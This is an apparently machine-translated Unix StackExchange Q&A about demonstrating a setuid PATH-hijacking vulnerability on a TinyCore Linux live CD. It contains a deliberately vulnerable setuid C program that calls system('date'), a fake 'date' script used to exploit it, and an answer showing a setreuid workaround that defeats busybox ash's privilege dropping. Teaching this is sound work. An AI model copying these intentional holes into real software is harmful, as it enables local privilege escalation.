Linux

setuid 程序似乎不在 TinyCore Linux 中執行 setuid

  • December 20, 2014

我想展示setuid使用 TinyCore Linux live cd 的程序的漏洞。也就是說,我製作了一個具有特殊權限的特殊程序,以便它作為文件所有者而不是執行使用者執行。這些是我的步驟:

  1. 創建一個帶有安全漏洞的程序(見下文),在我的家庭系統(Ubuntu)中編譯它
  2. 製作程序setuid並設置文件的所有者,仍然在 Ubuntu
  3. 解壓 Tiny Core live cd,將易受攻擊的程序複製chroot到裡面

問題是程序似乎沒有以setuid. 無論是在chroot環境中,還是在完成的重製圖像中。在 Ubuntu 中它可以工作,但我需要它在 Tiny Core 中工作。該程序在 Tiny Core 中執行,但不是作為所有者,儘管是setuid.

程序原始碼:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
 printf("Current time: ");
 fflush(stdout);
 system("date");
 return 0;
}

建構命令:

gcc -o prog prog.c

使其成為setuid:

sudo chown 1200.1200 prog
sudo chmod 4755 prog

編寫一個date腳本來展示該漏洞:

#!/bin/sh

echo hello > /tmp/test.txt
ls -l /tmp/test.txt

使製作的date腳本可執行並暴露漏洞:

chmod +x date
PATH=.:$PATH ./prog

在 Ubuntu 中,正如預期的那樣,這將/tmp/test.txt使用所有者 1200 創建。但是當我chroot進入 live cd 環境時,它在那裡不起作用,執行檔執行但不是作為文件所有者。如果我完成重新製作並創建 live cd 並啟動它,它也無法在那里工作,即使該文件具有正確的 owner 和 group 和 permission 4755。我錯過了什麼?

如果要創建環境,請從http://distro.ibiblio.org/tinycorelinux/downloads.htmlchroot下載 8MB 的 live cd並按照以下步驟操作:

sudo mount Core-current.iso /mnt
mkdir /tmp/extract
cd /tmp/extract
zcat /mnt/boot/core.gz | sudo cpio -i -H newc -d

將易受攻擊的程序複製到chroot環境中:

sudo cp -a /path/to/prog /tmp/extract/tmp
sudo cp /path/to/date /tmp/extract/tmp

chroot在那裡並測試漏洞:

sudo chroot /tmp/extract /bin/sh
su - tc
cd /tmp
PATH=.:$PATH ./prog

我的最終目標當然是讓它在 live cd 本身上工作。如果它不起作用也沒關係chroot,這似乎是一個合適的第一次測試,而無需重新打包映像並啟動它。

TinyCore沒有任何問題setuid。但是,問題中的簡單程序在 TinyCore 中利用起來並不那麼簡單。

system呼叫使用 呼叫指定的命令/bin/sh -c。在 TinyCore 中,/bin/sh是一個指向 的符號連結busybox ash,它會刪除setuid特權。因此,即使您製作了一個執行惡意操作的 shell 腳本甚至是二進製文件,並將其命名date為欺騙易受攻擊的程序執行它,它也不會以setuid. 原始程序將執行setuid,但不會執行由system.

附帶說明一下,從版本 2 開始,標准在呼叫 as 時bash也會放棄特權。但是,問題中描述的漏洞可以在 Debian 及其衍生產品中得到證明,因為顯然 Debian 的版本不會放棄特權。(顯然這是有充分理由的,但我沒有研究。)setuid``/bin/sh``bash

最後,我可以通過將程序更改為:

int main(int argc, char **argv)
{
 // circumvent busybox ash dropping privileges
 uid_t uid = geteuid();
 setreuid(uid, uid);

 printf("Current time: ");
 fflush(stdout);
 system("date");
 return 0;
}

引用自:https://unix.stackexchange.com/questions/65501